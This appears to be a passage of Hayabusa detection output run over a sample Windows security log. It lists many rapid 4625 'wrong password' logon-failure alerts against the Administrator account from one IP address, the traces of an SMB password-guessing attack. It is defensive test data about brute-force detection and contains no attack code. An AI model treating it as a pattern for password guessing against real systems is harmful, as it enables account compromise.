NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cr1wAeMhPgVpwV82 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.692 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fErpp9Ww6LO37C9k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CYsNpBsGT5zOKe3p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.866 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sgzUk1Dmttm4AQ3s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hp0c3YYyOSJuBHCR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:17.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gkis4H1MIQPHUwqf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.009 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lb6mH03qKLb8O7Dz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J10xEmhRNWfJ5FCI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Dujj8A7wwzAwzCp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NVDE3fIoUQfLn3cd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.175 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UlD48O0XpFUnuSmo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.213 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KyTPKuspADmLpv0L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BdIAPiH32ZbmCgTK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1dEiN2xOA4E9Wl5p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fBeAez2fLjXB0dk3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gQ45aeMDc3Snabvv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.420 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QWSYdr4lJlhCLMMW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RgxHY7072aUCdfa0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9yKhEodJDTVCGdIG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z0odyPQmvkGRNWZF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.630 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b5uRpG0fxCK75DPV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d9dcEzpJRW5YA8Bj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hv3B9bwB1YIaBa6N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.743 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lJf9Obml4aVxE5zp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mvnSOaRSkGU6Uf5q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.808 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JSAkZsZsv0SaLKaO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.847 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r6rnM6QbwfbbrcGy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RX0GW7K5wdQJUx4Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xm7CpD5i735McsvS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.959 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bHxjZsnR25J47Ez8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:18.999 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J1JWj91m79FyykH6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.043 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h9i0GncOzpz5REWp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BODZRJ6G3xxw29VJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SJ2lq4piINfmI7Qe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NqDeXdOitJ3WY8w4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FnoHQf7QDxoI4tel : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FqkbgrtBa5VFxPry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TMD57GtY15bfWBre : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.350 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e3lT9UgWr82PcAjf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SpwhTfFlvvccnI5N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 10CfKdnvWf4UVuME : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.539 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YYLMax3okIqntHM1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.602 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qk9TPAK51EdVORwY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.670 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aVKRUnNu2nGslW7P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZJ2AYRLcMbMVixg6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.759 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Sl9ucxM2Nu3xjNq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AFeBGB6qA7OaYV7l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.837 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KLUEKG9CzQYsH3Vp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.875 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vVZ44YKdRYY59zaC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: umU8pDDZFvvUVsHY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:19.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nn7rA0uRegtHgaF1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2dgiakCKweT4GUGD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.039 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kptipiLujNVePYfy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.091 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: plaXJ1rEGpU3SzV2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I4pALF2luLfg36GC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.173 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZLO4cufbFcRhRy8b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.215 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a845OfrFKxy31Yhg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QnPM7uhs8y4BaP6I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7fW5FzQ4jbWDJxXc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.326 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: huKy3ruTPAlx94pI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g78Kx7hkMuUGIoX1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: erSXtXvMi8Cg1PWw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VaqXgO2US87zoXLl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.501 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QHEfAfFuAR2pX3LO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4Owk2elGaC5DOm1U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VXPynWzVNADN56a4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xwfwZ0hXFaFwqymH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QYlZwLsvrsuqUZ4q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.707 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pvGrzr30eVl5TGhA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.791 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tqdJcHWbdGcIIHBr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YDt69bIJ1yI6PXLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WtE2uMuOe8QPAKOj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.911 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BWQDlZDgFj9NmMhJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ncQiyLyHCXr8knGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XjVmLfmcPMYbmdin : IP Address: 192.168.198.149 : AuthPackage: 